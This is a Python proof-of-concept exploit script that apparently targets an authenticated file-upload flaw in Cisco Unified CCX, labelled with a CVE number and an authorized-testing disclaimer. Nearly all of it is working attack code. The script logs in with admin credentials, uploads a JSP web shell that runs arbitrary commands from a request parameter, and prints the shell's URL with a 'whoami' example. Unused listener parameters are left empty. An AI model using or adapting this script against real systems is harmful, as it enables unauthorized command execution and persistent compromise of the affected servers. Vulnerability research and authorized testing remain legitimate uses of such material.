#!/usr/bin/env python3
"""
CVE-2025-20375 PoC - Cisco Unified CCX File Upload RCE
Note: This PoC is for educational and authorized testing purposes only.
Requires valid admin credentials.
"""
import requests
import sys
import argparse
from urllib.parse import urljoin
def exploit_cisco_ccx(target_url, username, password, lhost, lport):
"""
Exploit CVE-2025-20375: File upload vulnerability in Cisco Unified CCX Web UI
Args:
target_url: Base URL of Cisco Unified CCX (e.g., https://target:8443)
username: Admin username
password: Admin password
lhost: Attacker listener IP
lport: Attacker listener port
"""
session = requests.Session()
# Step 1: Authentication
login_url = urljoin(target_url, '/ccx-admin/')
login_data = {
'j_username': username,
'j_password': password
}
print(f'[*] Authenticating to {login_url}')
response = session.post(login_url, data=login_data, verify=False)
if response.status_code != 200 and 'LoginError' in response.text:
print('[-] Authentication failed!')
return False
print('[+] Authentication successful!')
# Step 2: Upload malicious file via vulnerable endpoint
upload_url = urljoin(target_url, '/ccx-admin/upload')
# Generate JSP webshell payload
payload = f'''
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {{
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line;
while((line = br.readLine()) != null) {{
out.println(line);
}}
}}
%>
'''
files = {
'file': ('shell.jsp', payload, 'application/octet-stream')
}
print(f'[*] Uploading malicious JSP file to {upload_url}')
response = session.post(upload_url, files=files, verify=False)
if response.status_code == 200:
print('[+] File uploaded successfully!')
# Step 3: Execute the uploaded webshell
shell_url = urljoin(target_url, '/ccx-admin/uploads/shell.jsp')
print(f'[*] Accessing webshell at {shell_url}')
print(f'[*] Example command: {shell_url}?cmd=whoami')
return True
else:
print(f'[-] Upload failed with status code: {response.status_code}')
return False
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2025-20375 PoC')
parser.add_argument('-t', '--target', required=True, help='Target URL')
parser.add_argument('-u', '--username', required=True, help='Admin username')
parser.add_argument('-p', '--password', required=True, help='Admin password')
args = parser.parse_args()
exploit_cisco_ccx(args.target, args.username, args.password, '', '')